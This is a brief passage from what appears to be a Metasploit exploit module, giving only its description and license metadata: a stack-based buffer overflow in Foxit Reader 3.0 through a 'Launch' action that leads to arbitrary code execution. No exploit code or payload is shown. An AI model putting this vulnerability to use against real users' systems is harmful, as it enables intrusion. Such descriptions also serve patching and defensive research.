This module exploits a buffer overflow in Foxit Reader 3.0 builds 1301 and earlier.
Due to the way Foxit Reader handles the input from an "Launch" action, it is possible
to cause a stack-based buffer overflow, allowing an attacker to gain arbitrary code
execution under the context of the user.},'License'=> MSF_LICENSE,'Author' =>
